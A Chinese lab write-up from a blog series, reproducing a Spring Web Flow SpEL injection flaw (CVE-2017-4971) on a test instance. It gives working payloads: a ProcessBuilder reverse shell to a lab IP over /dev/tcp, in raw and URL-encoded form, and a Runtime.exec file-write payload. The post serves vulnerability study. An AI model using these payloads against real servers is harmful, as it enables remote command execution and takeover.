网络安全:Spring框架漏洞总结(二)

安全防护

1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。 2.使用2.0.x版本的用户升级到2.0.10以及更高的版本

因为对java不是很熟,所以没有对底层原理进行分析

2.Spring Web Flow框架远程代码执行(CVE-2017-4971)

漏洞简介

Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本
Spring WebFlow 2.4.0 - 2.4.4 
触发条件
  1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)

  2. flow view对象中设置BinderConfiguration对象为空

漏洞复现

开启漏洞

image.png

在这里插入图片描述

点击login

image.png

可以看见这里有很多默认的用户名密码,随便选一组登录系统
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mJ0ca8eV-1673601433750)(null)]

然后访问id为1的酒店地址:

http://192.168.173.144:8080/hotels/1 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bsKUWxgn-1673601433106)(null)]

点击预订按钮”Book Hotel",填写相关信息后点击“ Process”(从这一步,其实WebFlow就正式开始了)︰

image.png

随便输入一些内容后,我们点击Proceed然后会跳转到Confirm页面(Credit Card为16位):

image.png

点击confirm时进行抓包

image.png

image.png

反弹shell的poc:

原POC:
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.173.133/1234 0>&1")).start()=vulhub

URL编码后
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.173.133/1234 0>%261")).start()=vulhub 

image.png

exp扩展

1、向里面写入文件

&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/zcc") 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值